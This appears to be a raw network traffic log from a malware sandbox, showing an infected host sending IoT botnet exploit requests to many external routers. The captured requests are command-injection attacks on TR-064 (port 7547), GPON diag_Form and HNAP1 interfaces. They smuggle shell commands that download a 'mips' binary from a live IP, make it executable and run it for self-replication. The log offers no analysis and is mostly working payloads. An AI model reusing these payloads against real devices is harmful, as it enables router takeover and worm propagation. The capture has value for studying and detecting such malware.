Apr 15, 2024 08:53:41.831881046 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:41.997746944 CEST	132	IN	HTTP/1.1 400 Bad Request Connection: close Date: Mon 15 Apr 2024 06:53:41 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1149	192.168.2.13	36978	86.222.239.25	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.909548998 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:42.221678019 CEST	224	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1150	192.168.2.13	47678	118.190.149.143	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.923432112 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:42.259000063 CEST	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.19.9 Date: Mon, 15 Apr 2024 06:53:42 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 39 2e 39 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.19.9</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1151	192.168.2.13	42442	174.22.238.162	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.995796919 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:42.162926912 CEST	132	IN	HTTP/1.1 400 Bad Request Connection: close Date: Mon 15 Apr 2024 06:53:42 UTC Server: lighttpd Content-Length: 0
Apr 15, 2024 08:53:43.232680082 CEST	132	IN	HTTP/1.1 400 Bad Request Connection: close Date: Mon 15 Apr 2024 06:53:42 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1152	192.168.2.13	33238	18.239.145.165	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.004470110 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:42.408685923 CEST	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Mon, 15 Apr 2024 06:53:42 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 0d0c9a98d2447493d68e84893d87f91a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BOM54-P1 X-Amz-Cf-Id: ZFOSR_AwG3CrvwPlbDx83rbkiBArwH1Fi5oJrO6AIS5f9BTy9M3WFw== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 5a 46 4f 53 52 5f 41 77 47 33 43 72 76 77 50 6c 62 44 78 38 33 72 62 6b 69 42 41 72 77 48 31 46 69 35 6f 4a 72 4f 36 41 49 53 35 66 39 42 54 79 39 4d 33 57 46 77 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: ZFOSR_AwG3CrvwPlbDx83rbkiBArwH1Fi5oJrO6AIS5f9BTy9M3WFw==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1153	192.168.2.13	54854	47.160.36.20	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.042022943 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1154	192.168.2.13	58076	69.146.21.164	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.061800003 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1155	192.168.2.13	37248	222.101.168.128	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.119832039 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1156	192.168.2.13	49612	183.117.159.7	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.120594025 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1157	192.168.2.13	44260	179.94.4.53	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.163451910 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:43.176510096 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1158	192.168.2.13	54868	47.160.36.20	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.259254932 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1159	192.168.2.13	46976	124.155.193.23	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.260513067 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:44.000371933 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:44.328134060 CEST	139	IN	HTTP/1.1 400 Bad Request; no Host header in transparent proxy request Connection: close X-Bst-Request-Id: TFQSSj:Lvfh:79031

Session ID	Source IP	Source Port	Destination IP	Destination Port
1160	192.168.2.13	58092	69.146.21.164	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.304519892 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1161	192.168.2.13	36124	208.109.69.117	80

Timestamp	Bytes transferred	Direction	Data
